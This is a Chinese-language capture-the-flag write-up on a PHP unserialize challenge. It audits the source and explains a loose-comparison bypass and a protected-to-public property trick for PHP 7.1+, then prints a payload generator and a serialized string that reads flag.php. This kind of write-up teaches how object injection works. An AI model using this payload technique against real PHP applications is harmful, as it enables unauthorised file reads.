php7.1+反序列化对类属性不敏感
前言
做题
源码审计
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
看来是要利用file_get_contents函数读取flag.php,传过来的参数经过了is_valid()函数检验,这个函数的作用是限制参数ascii码在32到125之间,然后进行反序列化,这里我有个误区,我以为反序列时会调用__construct函数,实际上不会,在这纠结了半天
这里就是传进去的反序列化,在调用__destruct函数后是会调用proccess函数,然后$op=="2"
的话,就可以调用file_get_contens
函数了
两个绕过
- __destruct这里是强比较
$this->op === "2"
,而proccess这里是$this->op == "2"
是弱比较,我们可以令$op=2
进行绕过 - 绕过is_valid()函数,private和protected属性经过序列化都存在不可打印字符在32-125之外,对于PHP版本7.1+,对属性的类型不敏感,我们可以将protected类型改为public,以消除不可打印字符。可以通过bp中repeater模块响应头知道服务器php版本是PHP/7.4.3
payload:
<?php
class FileHandler {
public $op=2;
public $filename="/var/www/html/flag.php";
public $content='girls';
}
$a=new FileHandler();
echo serialize($a);
?>
(ps:序列化时可以不要把函数体带入到类里)
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:22:"/var/www/html/flag.php";s:7:"content";s:5:"girls";}
拿到flag